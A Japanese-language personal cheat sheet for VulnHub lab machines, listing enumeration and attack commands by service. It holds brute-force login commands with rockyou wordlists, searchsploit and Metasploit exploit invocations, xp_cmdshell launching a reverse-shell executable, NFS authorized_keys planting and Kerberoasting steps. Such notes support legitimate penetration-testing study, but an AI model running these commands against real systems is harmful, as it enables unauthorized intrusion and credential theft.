vulnhub調査メモ
自分用に雑に解く際の手法とかをまとめました。
文字数の都合上、WindowsのPrivilegeEscalationと調査の方針は以下に載せなおしました。
kakyouim.hatenablog.com
2020 3/4追記
Privilege Escalationをまとめた記事を新しく作成したので、ここに書いていたLinux PEは以下を参照してください。
kakyouim.hatenablog.com
- ネットワークの調査
- Webサービスの調査
- その他のサービスの調査
- sshの調査
- RDPの調査
- 変なポートの調査
- snmp(udp161)の調査
- telnet(23)の調査
- domain(53)の調査
- smtp(25)の調査
- pop3(110,995)の調査
- IMAP(143/993)の調査
- smux(199)の調査
- NTP(udp123)の調査
- nntp(119)の調査
- msdtcの調査
- rpcbind(111) の調査
- NFS (Network File System)の調査
- NIS(Network Infomation Server)
- netbios-ns(udp137)の調査
- SMB(139,445)の調査
- MSRPC(135)の調査
- IRCの調査
- CUPS(631)の調査
- FTPの調査
- VNC(5900)の調査
- RTSP(554)の調査
- identd(113)の調査
- oracle(1521)の調査
- Mysqlの調査
- MSSQL(tcp1433/udp1434)の調査
- java rmi(1617)の調査
- Windows Remote Management (WinRM)(5985)の調査
- Active Directoryの調査
- CMSの調査
- その他の調査ツール
- Webサービスへの攻撃
- 暗号の解読
- XXE Injection
- Command Injection
- Xpath Injection
- Manual SQL Injection
- PHP Vulnervilities
- shell shock
- HTTP要求の改竄
- Hash crack
- Buffer Overflow
- シェルの奪取
- 最後
ネットワークの調査
IPアドレスの調査
echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
sudo arp-scan -I eth0 -l
sudo nmap -sP 192.168.56.0/24
netdiscover -r 192.168.56.0/24
脆弱性スキャン
nikto -h 192.168.56.10
デフォルトで80番ポートをスキャンする。その他のポートをスキャンする場合は指定する必要あり。
遅いnmap -p- -sV -sT -A 192.168.56.13
遅い.
-p-
オプションでのすべてのポートのスキャンでは時間が非常にかかる場合がある.
その場合は、1~5000,5001~10000として分けてスキャンするか、-sV(各ポートのバージョン情報を提供)
を削除して、Defaultの-sT
フラグで行い重要なポートにだけ-sV
フラグをつける。
open
でもclosed
でもなくfilterd
という結果になった場合、パケットがフィルタリングされていることが原因でそこにサービスが稼働しているかどうかNmapが判断で来ていない。
例えば以下のような場合、SSHサービスは稼働しているが特定のホスト(IPアドレス)からの通信のみを許可するようにIptablesに設定されていることが考えられる。
つまり、特定のIPアドレスを持ったホストにしか22番はOpenしない。
PORT STATE SERVICE 22/tcp filtered ssh
脆弱性の調査
searchsploit apache | grep \ 2.2.
とかで今のバージョンに対するExploitがないか調査する。このコマンドは使いまくる。
Webサービスの調査
手動で調査
ディレクトリブルートフォース
dirb http://192.168.56.10
ありそうな名前のディレクトリをブルートフォースで見つける。
デフォルトで80番ポートをスキャンする。その他のポートをスキャンする場合は指定する必要あり。cssやclasses、uploadsなどのディレクトリが見つかればWebshellアップロードができる可能性あり?(よくわからない)
modules
やplugins
などのディレクトリにアクセスできればその中に脆弱なものがあるか確認。また、そこからCMSが判明することもある。wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --filter "c=200" http://192.168.56.32/FUZZ
FUZZ
という単語はないとダメ
最後にFUZZ/
のように/
を入れるとディレクトリを探索、FUZZ
のように/
を入れないとファイルを探索するpython3 parsero.py -u 192.168.56.5
robots.txt
が見つかれば、そこにdisallow
されている場所に重要な情報が書かれているかもしれないのでチェック
- HTTP Response Code
200(OK)
リクエストが成功したことを示す204(No Content)
リクエストに対して送信するコンテンツはないが、ヘッダーは有用であることを示す。301(Moved Permanently)
リクエストされたリソースの URL が永遠に変更されたことを示す。
レスポンスで新しい URL が与えられる。
存在するディレクトリに対してアクセスするとこれが帰ってくるが、アクセスできるかは別。302(Found)
リクエストされたリソースの URI が一時的に変更されたことを示す。
URI は将来、新たに変更される可能性がある。
つまり、ディレクトリは存在している。403(Forbidden)
認証されていないなどの理由でクライアントにコンテンツのアクセス権がなく、サーバーが適切なレスポンスの返信を拒否していることを示す500(Internal Server Erro)
サーバー側で処理方法がわからない事態が発生したことを示す。
その他
curl -v "http://192.168.56.10
ヘッダーにヒントがないか、ソースコードに何かヒントがないか調べる。
curl -v -X OPTIONS http://192.168.56.10
で許可されているメソッドがリクエストヘッダに帰ってくる。PUTなどが許可されていないかどうか確認
curl -v "http://192.168.56.10 -b PHPSESSID=isn9ita3kajbt8o8hbruj9hau0
-b
オプションでCookieの値を送信curl -D- -s -o /dev/null http://192.168.56.30/
ヘッダーだけ表示curl 192.168.56.5 -s -L | html2text
レンダリングして表示sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user"
でこのページにSQLインジェクションできるかどうか調査する。--level 5
を付けるとより詳細に調査する。こうしないと発見できないこともある。
GETの時は上記のように書き、POSTの時は、
sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php" --data "q=1&add_value=odm_user"
のように書く。
tomcatの調査
http://target/manager/html
tomcat managerというWebアプリケーションをGUIで管理するものがある。
認証に用いるクレデンシャルはtomcat-users.xml
を参照する。
古いバージョンのTomcatだと、ここにログインするアカウントがデフォルトで存在してるため脆弱。
参考:デフォルトのクレデンシャル
github.compython3 bruteforce-http-auth.py -U tomcat_mgr_default_users.txt -P tomcat_mgr_default_pass.txt -t http://10.11.1.1:8080/manager/html -v
で/manager/html
をブルートフォース。
手動で行うとCookieによる回数制限があるので、ツールで行う方が都合がよい。(??)msf > use auxiliary/scanner/http/tomcat_mgr_login
CVE-2007-0450
,CVE-2007-1860
Apacheとtomcatを使用している場合、バージョンによっては上記のようなディレクトリトラバーサルが可能。
対象となるのは、Apache HTTP Server and Tomcat 5.x before 5.5.22 and 6.x before 6.0.10
また、ApacheとTomcatの通信にApache mod_jkモジュールを使用している場合も同様.
対象となるのは、mod_jk in Apache Tomcat JK Web Server Connector 1.2.x before 1.2.23
axis2の調査
sudo python clusterd.py -a axis2 -i 192.168.56.31 -p 80 --deploy shell.jar --deployer service_upload --usr-auth admin:axis2 –invoke
clusterdというツールでシェルアップロードなどの攻撃ができる。
他にも、Jboss, ColdFusion, WebLogic, Tomcat, Railo, Axis2, Glassfishのフレームワークを攻撃できるらしい
ただし、--gen-payload
オプションは内部でmsfpayload
を使用しているがこれはもう使えないので最新版のKaliでは動作しない。msfvenom
版は開発中とのこと。
src/module/generate_payload.py
を参考にして自分でmsfvenom
を使用するのがよさそう
参考:
github.comhttp://192.168.56.31/axis2/axis2-admin/
にはデフォルトでUser:admin, password:axis2でログインアカウントが用意されており、ログインしてWebshellを設置できるかも。スキャナを用いた調査
python sparta.py
SPARTA
GUIのネットワーク周りのスキャナ。rootで実行するとエラーがでるのでuserで実行
openvasmd
,openvas-start
で起動
OpenVAS
無償のスキャナ.[New target]と[New task]で標的のIPを設定。
参考:
脆弱性診断 - OpenVAS(使い方編) -ラズパイでワナビな日々をOWASP ZAP
OWASP ZAP
[Alerts]に発見された脆弱性がのっている。
sudo python3 cmsmap.py http://192.168.56.30
CMSmap
使われているCMSを特定。
その他のサービスの調査
sshの調査
hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.16 ssh
-L
でユーザー名のファイルを指定、-e nsr
でnは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定。
他の調査でユーザー名が判明している場合は、
hydra -l john -P /usr/share/wordlists/rockyou.txt -t 4 192.168.56.16 ssh
ncrack -p 22 --user root -P /usr/share/wordlists/rockyou.txt 10.11.1.1
patator ssh_login host=10.11.1.1 user=root password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'
https://www.ihacklabs.com/en/brute-force-with-patator/www.ihacklabs.com
python2 /usr/share/exploitdb/exploits/linux/remote/45939.py 192.168.56.22 root
OpenSSHのバージョンが7.7以下なら上記のコマンドでSSH接続できるユーザーを確認できる。(自分の環境ではsudo pip install -U cryptography
をする必要があった)medusa -h 192.168.56.25 -u root -P /usr/share/john/password.lst -t 4 -M ftp
www.hackingarticles.inpython crowbar.py -b sshkey -s 192.168.56.5/32 -u root -k /opt/ssh-badkeys/authorized/private
github.com
秘密鍵でブルートフォース
以下のデフォルトの秘密鍵でも試してみる
github.com
RDPの調査
crowbar -b rdp -s 10.11.1.1/32 -u administrator -C password.txt -n 4 -v
v
オプションですべての試行を表示。
個人的にこれが一番安定して速く動作しているように思う。
hydra
はうまく動作していない気がする。ncrack -vv --user administrator -P password-file.txt rdp://192.168.56.5
BruteForce Login。crowbar
よりはかなり遅いが一応できている。
Exploitは以下の通り、IEを使ったClient Side Attackしかないので、BruteForce以外は悪用はない(???)
変なポートの調査
nc 192.168.56.10 666
telnet 192.168.56.10 666
などでアクセスしてみる。
snmp(udp161)の調査
SNMP(Simple Network Management Protocol)とは、UDP/IPベースのネットワーク監視、ネットワーク管理を行うためのプロトコルである。
snmp-check 192.168.56.8
snmpwalk -v2c -c private 192.168.56.8
snmpwalk -v2c -c public 192.168.56.8
use auxiliary/scanner/snmp/snmp_login
参考文献
net123.tistory.com
telnet(23)の調査
telnet 10.11.1.1 23
どんなサービスが動いているのか確認。patator telnet_login host=192.168.1.106 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt persistent=0 prompt_re='Username: | Password:'
Authenticationの時の挙動(Login:なのかUsername:なのか)によって変わりそう?なのでそれを確認してから実行したほうがよさそう。
ちゃんとできてるかどうかWireshark
で確認した方がよいかも?
domain(53)の調査
nslookup target-ip nameserver-ip
nameserver-ipをName Server(53 domainが稼働しているサーバー)として、target-ipのドメインをIPアドレスから逆引きする。dig axfr target.com @10.10.10.1
ZoneTransferを試す。dnsrecon -d target.com -t axfr -n 10.10.10.1
これでもできる。
smtp(25)の調査
telnet 192.168.56.5 25
telnet
か-C
オプションを付けてnc
でバナーを取得
VRFY
,EXPN
,HELO 10.10.10.10
,EHLO 10.10.10.10
,AUTH LOGIN
HELO - EHLO - Extended SMTP. STARTTLS - SMTP communicted over unencrypted protocol. By starting TLS-session we encrypt the traffic. RCPT - Address of the recipient. DATA - Starts the transfer of the message contents. RSET - Used to abort the current email transaction. MAIL - Specifies the email address of the sender. QUIT - Closes the connection. HELP - Asks for the help screen. AUTH - Used to authenticate the client to the server. VRFY - Asks the server to verify is the email user's mailbox exists.
220 metasploitable.localdomain ESMTP Postfix (Ubuntu) VRFY root 252 2.0.0 root VRFY roooooot 550 5.1.1 <roooooot>: Recipient address rejected: User unknown in local recipient table
VRFY
コマンドでユーザーが存在するか、そのユーザーにメールアドレスが存在するか確認できる。
メール送信ポートだが、メールを取得することはできないので注意。
AUTH LOGIN
でbase64エンコードされた状態でならログイン試行できる。
AUTH LOGIN 334 VXNlcm5hbWU6 # Username cm9vdAo= # root 334 UGFzc3dvcmQ6 # Password cm9vdAo= # root 535 Authentication Failed
smtp-user-enum -M VRFY -U users.txt -t 192.168.56.5
VRFY
などのコマンドが使える場合、ユーザーをEnumできる./smtp-user-enum -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt 10.11.1.1 25 -V -m RCPT
userは存在するが、そのUserにメールアドレスが存在しない場合、VRFY
ではErrorとなるので上記のデフォルトのsmtp-user-enum
では検知できない。
そのため違うバージョンをInstallして実行する。
RCPT TO:root
で送信先のUserを指定してOKかどうか確認する。
以下のやつが使いやすい気がする。
nmap -p 25 192.168.56.5 --script=smtp-enum-users.nse
use auxiliary/scanner/smtp/smtp_enum
www.puni.net
pop3(110,995)の調査
telnet 192.168.56.5 110
telnet
か-C
オプションを付けてnc
でバナーを取得
USER root
PASS root
でログイン
LIST
,RETR
nmap -p 110 192.168.56.5 --script=pop3-*
hydra -e nsr -L /usr/share/seclists/Usernames/Names/familynames-usa-top1000-lower.txt -t 4 10.11.1.1 pop3s
openssl s_client -connect 10.11.1.1:995
995ポートではこれで、あとは同じ。
www.hackingarticles.in
IMAP(143/993)の調査
telnet 10.11.1.1 143
サーバーに保存されている電子メールにアクセスできる。
? NO login failed
と出るとログイン失敗。
? login {user} {pass} ?? LIST "" "*" ??? select inbox ???? search all ??? fetch 1 full ? logout
openssl s_client -connect 10.11.1.1:993 -crlf
SSL接続。hydra -L user -P /usr/share/wordlists/rockyou.txt 10.11.1.1 -s 143 imap
smux(199)の調査
smux はUNIXにおけるSNMP用のマルチプレクサ(多重化した複数の情報を単一チャネルによって転送するサービス)である。
特にExploitも見つからないし、無視?
NTP(udp123)の調査
ntpdc -c sysinfo 10.11.1.1
NTP(Network Time Protocol)は、コンピュータに内蔵されているシステムクロックをネットワークを 介して正しく同期させるためのプロトコル。
NTPにより時刻同期を行うことで指定時間に正しくサービスを動作させたり、出力ログを正しく管理できたり、証明書を利用した認証なども正しく行うことができる。
searchsploit
で検索した感じ、以下のRemoteBOFの一種類しかRemoreExploitはなさそう(??)
FreeBSD 4.2-STABLE
,RedHat Linux 7.0
で実行できる可能性がある。
nntp(119)の調査
telnet 192.168.56.5 119
NNTPとは、インターネットなどのTCP/IPネットワーク上で記事の投稿や配信、閲覧などを行うためのプロトコル(通信規約)の一つ。標準のポート番号はTCPの119番。
HELP
,LIST
nmap -p 119 --script=nntp-ntlm-info 192.168.56.5
以下の結果とググった感じだと、linuxのExploitはなさそう?
msdtcの調査
分散トランザクションコーディネーターは、データベース(SQL Server)とWebサーバー間のトランザクションを調整するWindowsサービス。
悪用できるExploitはなさそう。
ただし、存在しないDLLを読み込もうとするため、DLLHijackが可能なのでPEで使えるかも。
rpcbind(111) の調査
rpcinfo -s 192.168.56.5
RPC(Remote Procedure Call)系のサーバ・クライアント(NFS、NISなど)と通信を行うためのもの
クライアントとプログラムの通信を実現する
rpcinfoコマンドは、RPCサーバーに対してRPC呼び出しを行い、サーバーの状態を報告する
悪用できる可能性は低い
Exploitは以下の通り、dosしかない。
NFS (Network File System)の調査
nmap -p 2049 --script=nfs-* 192.168.56.5
scanner/nfs/nfsmount
showmount -a 192.168.56.5
マシンから他のマシンへと、ネットワークを通じて ディレクトリとファイルを共有することを可能にするらしい
「nlockmgr」と「mountd」は、それぞれNFSのロックマネージャーとリッスンサーバーである
-aオプションを付けると、クライアントのホスト名と共有しているディレクトリ名が表示される。
-eオプションを付けると、ディレクトリを共有可能な相手が表示される。
ここで、マウントできるディレクトリがあれば、Kaliにマウントして、.ssh
ディレクトリを作成してauthorized_keys
(公開鍵)を配置することでSSH接続できるようになる。
computersecuritystudent.com
NIS(Network Infomation Server)
use auxiliary/gather/nis_ypserv_map
TCP/IP上で コンピュータの情報を共有するサービス
よくわからない
www.rapid7.com
netbios-ns(udp137)の調査
nbtscan 10.11.1.0
Microsoftネットワークに接続しているパソコン同士は,137番(NETBIOS Name Service)や138番(NETBIOS Datagram Service)ポートを使ってIPアドレスを取得する。
その後,ファイル共有やプリンタ共有などの実際の通信をする。
なのでudp137,138なければ139ポートではなく445ポートを使ってファイル共有している(??)
NBTscanは、リモートコンピュータのNetBIOS名テーブルをネットワーク経由で調査するツール。
ターゲットホストに対してNetBIOS名を問い合わせることにより、そのホストのコンピュータ名、ドメイン名(あるいはワークグループ名)、稼動しているNetBIOS関連サービス、ローカルログオンユーザ名などを知ることができる。
直接悪用できる可能性は低い。
SMB(139,445)の調査
nmap -p 139 --script=smb-* 10.11.1.1
139/TCP NETBIOS Session Service(netbios-ssn) 445/TCP Direct Hosting of SMB(microsoft-ds)
ポート137~139は「NBT(NetBIOS over TCP/IP)」のポート、ポート445はWindows 2000から導入された「Direct Hosting of TCP/IP」のポート。
WIndows2000以前がある混在環境では,139番ポートを使ってSMBで通信する必要があるため、139ポートも445も両方空いている。
139と445で応答したほうを使用している。(?)
SMBのバージョン 搭載するWindows SMB 2.0 Windows Vista および Windows Server 2008 SMB 2.1 Windows 7 および Windows Server 2008 R2 SMB 3.0 Windows 8 および Windows Server 2012 SMB 3.02 Windows 8.1 および Windows Server 2012 R2
enum4linux 192.168.56.20
有益な情報を一覧で表示。ユーザー名、共有フォルダへのアクセス可否がわかる。
enum4linux
は139と445両方に問い合わせて応答したほうと通信するっぽい。
enum4linux
でSambaのバージョンが表示されない場合は、Metasploitかsmbver.shを使用する。
Windows NT、2000、およびXP(ほとんどのSMB1),samba(unix)ならデフォルトでNULLセッションが有効で大量の情報が見込める。smbclient //192.168.56.17/kath
もし共有フォルダがkath
という名前なら、上記のコマンドでアクセス可能。smbmap -H 192.168.56.20 -P 445
で共有フォルダを一覧表示できる。use auxiliary/scanner/smb/smb_version
metasploitのこの機能でも判明することがある。bash smbver.sh 10.11.1.115 139
enum4linuxでSambaのバージョンが特定できないときに使う。
github.compython3 smbrute.py -h 10.11.1.1 -u root -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
Brute force.C$,Admin$,IPC$
WindowsはデフォルトでSMBを介して、C$,Admin$,IPC$の管理共有と隠し共有を公開している。
C $共有で、リモートマシンのCドライブにアクセスできる。
Admin $を使用すると、Windowsインストールディレクトリにアクセスできる。
ただし、これらの共有をマウントできるようにするには、リモートシステムの管理者である必要がある。
IPC $は、より一般的にIPCと呼ばれるプロセス間通信を容易にするために使用されるWindows内の特別な共有。
つまり、他の共有のようなファイルまたはディレクトリへのアクセスを許可せず、リモートシステムで実行されているプロセスとの通信を許可する。
具体的には、IPC $は名前付きパイプを公開する。
名前付きパイプは、リモートプロセスと通信するために読み書きできる。
このような名前付きパイプは、アプリケーションがパイプを開いてWindows Serverサービス(SMB)に登録するときに作成され、IPC $共有によって公開されるようになる。
そのような名前付きパイプに書き込まれたデータはリモートプロセスに送信され、逆に、リモートプロセスによって書き込まれた出力データは、ローカルアプリケーションによってパイプから読み取ることができる。
www.hackingarticles.in
により詳細な情報がのっている。python smbexec.py Administrator:password@10.11.1.1
Administratorなどの資格情報がわかっているなら、Impacketのツールを使ってログインできる。
MSRPC(135)の調査
nmap 192.168.0.101 --script=msrpc-enum
msf > use exploit/windows/dcerpc/ms03_026_dcom
English versions of Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003
なら脆弱である可能性がある。
IRCの調査
CUPS(631)の調査
CUPSは,Mac OSやLinuxを含むUNIX系OSの印刷システムで中核を成すサービスで、印刷データを管理する。
Exploitは以下の通りこれくらいある。
CUPS < 2.0.3
でRCEが存在しているが、どうやらPrinterに接続されていないとダメっぽい?
root@kali:# python /usr/share/exploitdb/exploits/linux/remote/41233.py -a 10.11.1.1 -b 631 -f lol ty google 0000000000000 0000000000000000000 00 00000000000000000000000000000 0000000000000000000000000000000 000000000 0000000000 00000000 0000000000 0000000 000000000000 0000000 000000000000000 000000 000000000 000000 0000000 000000000 000000 000000 000000000 000000 000000 000000000 000000 000000 00000000 000000 000000 000000000 000000 0000000 000000000 0000000 000000 000000000 000000 0000000000000000 0000000 0000000000000 0000000 00000000000 00000000 00000000000 000000000 0000000000000000000000000000000 00000000000000000000000000000 000 0000000000000000000 0000000000000 @0x00string https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py [*] locate available printer [-] no printers
FTPの調査
use auxiliary/scanner/ftp/anonymous
metasploitのFTPスキャナーのエクスプロイト。ユーザー名Anonymousで何ができるのかを調査する。ftp 192.168.56.10
lftp -u anonymous,anonymous 192.168.56.10
などのコマンドでアクセスできる。pwd
,ls
catは使えないのでget ファイル名
でローカルにダウンロードする。filezilla
GUIが使いたければこれ。
VNC(5900)の調査
vncviewer
medusa -h 192.168.0.6 –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt 192.168.0.6:5900
hydra -s 5900 –P /root/Desktop/pass.txt –t 16 192.168.0.6 vnc
use auxiliary/scanner/vnc/vnc_login
5900/tcp open vnc syn-ack ttl 128 VNC (protocol 3.8) | vnc-info: | Protocol version: 3.8 | Security types: | VNC Authentication (2) | Tight (16) | Tight auth subtypes: |_ STDV VNCAUTH_ (2)
のような場合、RFB 3.8
プロトコルを使用し、Security typesにVNC Authentication(2)
が使われているため、パスワードのみの認証である(?)
srgia.com
RTSP(554)の調査
RTSPとは、TCP/IPネットワーク上で音声や動画などのストリーミング伝送を行うための制御データの送受信をするプロトコル(通信手順)の一つ。
searchsploit windows rtsp | grep -vi apple | grep -vi dos
せいぜい上記しかExploitがないので、nmapでこれにドンピシャでない限りはExploitは考えなくてよい(?)
identd(113)の調査
[IDENT/AUTH (ident tap; Authentication service)] サーバに対してアクセスした際に、サーバがクライアントに対しユーザ名を要求するために使用するプロトコル。
root@kali:# nc 10.11.1.1 113 22,12 22 , 12 : ERROR : NO-USER 139,43218 139 , 43218 : ERROR : NO-USER 22,43218 22 , 43218 : ERROR : NO-USER 22,0 22 , 0 : ERROR : INVALID-PORT 123,123 123 , 123 : ERROR : NO-USER 0 , 0 : ERROR : UNKNOWN-ERROR
python identi.py 10.11.1.1 -q 22 139 445 113
oracle(1521)の調査
tnscmd10g status -h 10.11.1.1
最初は、通常デフォルトポート(1521 / TCP)に常駐するTNS-Listenerと通信して、対話できるOracle 10gデータベースを発見する。oscanner -s 10.11.1.1 -P 1521
SID(サービス識別子)は基本的にデータベース名であり、インストールに応じて、1つ以上のデフォルトSID、または完全にカスタムのdba定義SIDを持つ場合がある。
SIDはデータベースのインスタンス(実際にメモリ上で動作するもの)である。
有効なSIDが見つかったら、次はアカウント列挙をする。
Lockされていないアカウントがあれば、そのアカウントでログインを試みる。sqlplus DBSNMP/DBSNMP@10.11.1.202:1521/sid;
sqlplusというOracleDBと対話するためのクライアントを用意する必要がある。
ERROR: ORA-03134: Connections to this server version are no longer supported.
となったらSQLPLUSのバージョンをさげる必要がある。
以下、参考文献。
medium.com
Mysqlの調査
nmap -p 3306 --script=mysql-* 10.11.1.11
mysql -h 192.168.56.10 -u root -P 3306
でログインできるかどうか試す。ログインできれば、
show databases;
use データベース名;
show tables;
show columns from テーブル名;
select * from テーブル名;
などを実行できる。
ちなみに
mysql -h localhost -u root -P 3306 -e "show databases;"
をすると-e
だけを実行できる。
また、\! ls
みたいに書くとls
コマンドなどのLinuxコマンドが実行できる。ncrack –v –U /root/Desktop/user.txt–P /root/Desktop/pass.txt 192.168.1.106:3306
hydra –L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.106 mysql
use auxiliary/scanner/mysql/mysql_login
medusa -h 192.168.1.106 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mysql
MSSQL(tcp1433/udp1434)の調査
sqsh -S 192.168.1.101 -U sa
MSSQLはデフォルトでは、管理者ユーザーとして「sa」を使用しているため、このブルートフォースを行う。python mssqlclient.py -p 1433 sa:password@10.11.1.1
impakect
のスクリプトを使用できる。
xp_cmdshell reverse-4445.exe
などでファイルを実行できる。nmap -Pn -n -sS --script=ms-sql-xp-cmdshell.nse 10.11.1.1 -p 1433 --script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user",mssql.instance-all
Loginができて、xp_cmdshellをサポートしていればNmapで任意のコマンドを実行できる。hydra -l sa -P /usr/share/wordlists/rockyou.txt 10.11.1.1 mssql
データベースにログインできると、さらに侵害できる可能性あり。
use auxiliary/scanner/mssql/mssql_login
でも可能。use auxiliary/admin/mssql/mssql_enum
- xp_cmdshellは有効かどうか
- saアカウントにパスワードが含まれているかどうか
- システムおよびWindowsがログインしているかどうか
- データベースサーバーが実行されている特権
- 存在するデータベース
などか得られる。
xp_cmdshellが有効になっていれば、SQL Serverを介してリモートシステムでコマンドを実行できる。
use auxiliary/admin/mssql/mssql_exec
で実行したいコマンドを実行する。
詳細は以下の参考文献
www.hackingarticles.in
- xp_cmdshellは有効かどうか
java rmi(1617)の調査
Java RMIとは、Java言語に標準で用意された機能の一つで、あるJavaオブジェクトから、異なるコンピュータ上で動作する別のJavaオブジェクトのメソッドを呼び出して実行することができるようにする仕組みらしい。
また、その機能を利用するために規定されたプログラム呼び出し規約らしい
Java Management Extensions (JMX) は、Java アプリケーションをモニタおよび管理するための仕様。
JMX を使用すると、汎用管理システムでアプリケーションをモニタし、注意が必要なときに通知を生成し、アプリケーションの状態を変更して問題を解決できるらしい。
Java RMI Server Insecure Default Configuration Java Code Execution(exploit/multi/misc/java_rmi_server
)
のRCE Exploitが存在。
これのMetasploit以外のExploit codeは探したがない???
他にも以下のようなExploitがある。
github.com
Windows Remote Management (WinRM)(5985)の調査
5985ポートのMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)はWindows Remote Management (WinRM)らしい
Windows を遠隔で操作する仕組み。
コマンドで操作するらしい。
ポート5985が開いているがポート5986が閉じている場合、これはWinRMサービスがHTTP経由の接続のみを受け入れるように構成され、暗号化が有効になっていないらしい
use auxiliary/scanner/winrm/winrm_auth_methods
で認証形式を特定。
悪用するには管理者の資格情報が必要。あれば任意コマンドを遠隔から実行できる。
資格情報がなけれは悪用できるようなExploitはない??
pentestlab.blog
Active Directoryの調査
- ユーザ認証
Kerberos version 5
ドメイン内のユーザーのパスワードがわかっている場合はそれを使ってログインできるかも? - ディレクトリサービス
LDAP version 3
木構造のデータベースを使ってアカウント情報などを管理し、通信にLDAPというプロトコルを用いている。 - ファイル共有
SMB version 1.0 / 2.x / 3.0
以下参考文献。
medium.com
kerberos(88)の調査
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm=’<domain>’,userdb=/root/Desktop/usernames.txt <IP>
use auxiliary/gather/kerberos_enumusers (Domain: test.local)
python kerbrute.py -domain test.local -users user -passwords pass -dc-ip 10.11.1.1 -outputfile out.txt -debug -threads 4
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
というエラーが発生すると、クライアントとADとで時間がずれている(?)ので、クライアント側をADと同じか5分以内に修正する必要がある。
rdate -n 10.10.10.100 -v
でKernelサーバーと時刻を同期する。python FindSMB2UPTime.py 192.168.1.101
MS14-068(Microsoft Windows Kerberos - Privilege Escalation (MS14-068))を確認する。
これはADにログインできるドメインユーザーの権限をSYSTEMに昇格させるPrivilegeEscalation。
ドメインユーザーのUser名、Password、SIDが必要。
github.com
ldap(389,636,3268,3269)の調査
nmap -p 389 --script ldap-rootdse (TARGET IP ADDRESS) -vv
匿名/資格情報付きのLDAPデータダンプを実行する。
ldapsearch -LLL -x -H ldap://10.11.1.1 -b '' -s base '(objectclass=*)'
でも同様のことができる。nmap -p 389 --script ldap-brute --script-args \ ldap.base='"cn=schema,dc=targetbox,dc=target"' (TARGET IP ADDRESS) -vv
/usr/share/doc/python-impacket/examples/GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100
でハッシュでTGSチケットを要求して、hashcatでクラックする。
https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Enumeration/ldap.mdgithub.com
kpasswd5(464)
Active Directoryに対するパスワードの変更/設定に使用される。
CMSの調査
ソースコードを見てバージョンが書いてないかなどを確認
githubなどでCMSのソースコードを見て、何らかのクレデンシャルが書かれている可能性のあるファイルなどを確認する
Wordpressの調査
wpscan --url http://192.168.56.17/blog/ --enumerate u
でユーザー名を列挙できる。wpscan --url http://192.168.56.17/blog/ --enumerate u -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
でパスワードのブルートフォースができる。wpscan --url http://192.168.56.17/blog/ -e u -e at -e ap
でPluginとThemeを特定できる。
または、/wp-content/plugins/などのディレクトリ内を調査する。wpscan --url https://192.168.56.17:12380/blog/ --disable-tls-checks --enumerate u
https通信の場合は--disable-tls-checks
オプションを付ける。nmap -sV --script http-wordpress-enum 192.168.56.24 -p 80
PluginとThemeを列挙するuse exploit/unix/webapp/wp_admin_shell_upload
Wordpressにログインできるようになっていれば、Metasploitでシェルを確立できるruby wp_xmlrpc_brute_force.rb http://10.11.1.1/xmlrpc.php -u admin -P /usr/share/wordlists/rockyou.txt -v
login.php
でブルートフォースを行うと、IPアドレスがロックされたりしてうまく行かないことがあるため、代わりにXMLRPC-APIを使ってブルートフォースを行う。
wpscanにはこの機能はまだないらしい。
以下に動作するRubyスクリプトがある。
WordPress XML-RPC Password Brute Force · GitHub
ブルートフォースでログインできた場合は、ThemesやPluginの404.phpなどを編集して任意のPHPコードに書き換えてWebshellを作成できる。以下参照。
www.hackingarticles.in
その他の調査ツール
Wireshark
Port Knocking
よくわからなければとりあえずキャプチャ
決められたポートを決められた順番で叩くことでファイアーウォールに穴を空けられるような仕組み。Wiresharkでキャプチャhttp.request.method == "POST" or http.request.method == "GET"
これでGET,POSTだけをフィルタリング- 通信をみてデバッグ
- Bad TCP(黒)
パケットが途中でロスしたなどでパケットの順番が入違ったなどのerror。
Networkの問題っぽい。
milestone-of-se.nesuke.com - TCP RST(赤)
RSTフラグ(異常終了を示す)を一方的に送り付ける。
Applicationの問題っぽい。 - TCP SYN/FIN(灰)
http以外のSYN/FIN(TCP 3way handshakeの開始と終了)のパケット。
nmapなどのポートスキャンの時に見られる。
- Bad TCP(黒)
攻撃サーバの立ち上げ
service apache2 start
systemctl start apache2
apacheサーバpython -m SimpleHTTPServer 8000
ruby -run -ehttpd . -p3000
Wordlistの作成
crunch 7 7 -t admin@@ -o passlist.txt
adminaa
,adminab
...などの文字列を作成できる。
@
will insert lower case characters
,
will insert upper case characters
%
will insert numbers
^
will insert symbols
crunch 7 7 -f /usr/share/crunch/charset.lst mixalpha-numeric-space -t admin@@ -o passlist.txt
こうすることで@
のルールにmixalpha-numeric-space
が当てはまる。
参考: www.securitynewspaper.comcewl -w wordlist http://192.168.136.212:1898/?q=node/1
URLの2つリンクを辿った先までのページの中で、3文字以上の単語をWordリストとして保存する。
cewl -w wordlist http://192.168.136.212:1898/?q=node/1 --with-numbers
--with-numbers
オプションを付けないと、例えばpassword123
という文字列が存在していても数字は含めないためpassword
として保存されてしまう。
文字列の変換
2進数10進数16進数ASCII文字の変換
www.rapidtables.com
Crack Zip Password
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.zip
